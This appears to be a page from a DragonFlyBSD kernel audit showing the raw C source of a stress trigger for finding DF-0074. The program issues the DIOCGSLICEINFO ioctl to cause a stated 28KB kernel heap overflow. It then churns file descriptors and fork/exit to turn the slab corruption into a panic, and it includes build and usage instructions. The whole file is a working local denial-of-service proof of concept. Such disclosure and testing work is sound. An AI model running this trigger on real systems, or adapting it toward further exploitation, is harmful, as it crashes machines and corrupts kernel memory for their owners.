DragonFlyBSD Kernel Audit
DF-0074 / trigger_stress.c
← back to finding ↓ download raw
/*
 * DF-0074 stress trigger - issue DIOCGSLICEINFO (the 28KB heap overflow),
 * then heavily churn the slab allocator (open/close many fds, fork/exit) so a
 * corrupted neighbor object gets validated/freed and the overflow surfaces as
 * a panic. The overflow itself is guaranteed on every run; the panic is not.
 *
 * Build:  cc -O2 -o trigger_stress trigger_stress.c
 * Usage:  ./trigger_stress /dev/vn0s1 [iterations]
 */
#include <sys/ioctl.h>
#include <sys/diskslice.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int
main(int argc, char **argv)
{
    const char *dev = (argc > 1) ? argv[1] : "/dev/vn0s1";
    int iters = (argc > 2) ? atoi(argv[2]) : 5;
    int fd, n;

    for (n = 0; n < iters; n++) {
        fd = open(dev, O_RDONLY);
        if (fd < 0) { perror("open"); return 1; }
        struct diskslices ds;
        if (ioctl(fd, DIOCGSLICEINFO, &ds) < 0) {
            perror("ioctl DIOCGSLICEINFO");
            close(fd);
            return 1;
        }
        fprintf(stderr, "[%d] DIOCGSLICEINFO returned nslices=%u (overflow happened)\n",
                n, ds.dss_nslices);
        /* churn: open/close a pile of low-numbered fds to touch the slab zone
         * that may have been smashed by the 28KB overrun. */
        int ks[64];
        int j;
        for (j = 0; j < 64; j++) {
            ks[j] = open("/dev/null", O_RDONLY);
        }
        for (j = 0; j < 64; j++) {
            if (ks[j] >= 0) close(ks[j]);
        }
        close(fd);
    }
    /* fork/exit churn: fdfree on exit validates file-descriptor slab objects,
     * which is exactly where the 6.4.2 panic fired. */
    fprintf(stderr, "fork/exit churn to force fdfree slab validation...\n");
    for (n = 0; n < 40; n++) {
        pid_t p = fork();
        if (p == 0) {
            int k;
            for (k = 0; k < 32; k++) open("/dev/null", O_RDONLY);
            _exit(0);
        } else if (p > 0) {
            waitpid(p, NULL, 0);
        }
    }
    fprintf(stderr, "stress done; if we got here, no synchronous panic this run.\n");
    return 0;
}